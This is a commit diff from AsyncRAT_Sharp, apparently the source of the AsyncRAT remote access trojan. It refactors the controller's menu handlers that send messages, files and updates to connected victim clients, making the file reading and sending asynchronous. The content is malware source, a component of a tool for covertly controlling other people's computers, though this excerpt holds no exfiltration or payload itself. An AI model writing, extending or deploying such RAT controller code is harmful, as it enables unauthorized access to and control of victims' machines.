Using await fs.ReadAsync 'MsgPack'
This commit is contained in:
NYAN CAT 2019-02-06 09:01:49 -08:00
parent cda9bb7d43
commit 5a3225eecf
3 changed files with 15 additions and 15 deletions

View File

@ -110,14 +110,14 @@ namespace AsyncRAT_Sharp
{
if (listView1.SelectedItems.Count > 0)
{
string URL = Interaction.InputBox("Message", "Message", "Hello World!");
if (string.IsNullOrEmpty(URL))
string Msgbox = Interaction.InputBox("Message", "Message", "Hello World!");
if (string.IsNullOrEmpty(Msgbox))
return;
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendMessage";
msgpack.ForcePathObject("Message").AsString = URL;
msgpack.ForcePathObject("Message").AsString = Msgbox;
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
@ -130,7 +130,7 @@ namespace AsyncRAT_Sharp
}
}
private void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
private async void sENDFILEToolStripMenuItem_Click_1(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -141,12 +141,12 @@ namespace AsyncRAT_Sharp
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendFile";
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "false";
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());
@ -179,7 +179,7 @@ namespace AsyncRAT_Sharp
}
}
private void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
private async void uPDATEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (listView1.SelectedItems.Count > 0)
{
@ -190,12 +190,12 @@ namespace AsyncRAT_Sharp
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "sendFile";
msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
await msgpack.ForcePathObject("File").LoadFileAsBytes(O.FileName);
msgpack.ForcePathObject("Extension").AsString = Path.GetExtension(O.FileName);
msgpack.ForcePathObject("Update").AsString = "true";
foreach (ListViewItem C in listView1.SelectedItems)
{
Task.Run(() =>
await Task.Run(() =>
{
Clients CL = (Clients)C.Tag;
CL.BeginSend(msgpack.Encode2Bytes());

View File

@ -369,14 +369,14 @@ namespace AsyncRAT_Sharp.MessagePack
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
public async Task<bool> LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
await fs.ReadAsync(value, 0, (int)fs.Length);
fs.Close();
SetAsBytes(value);
return true;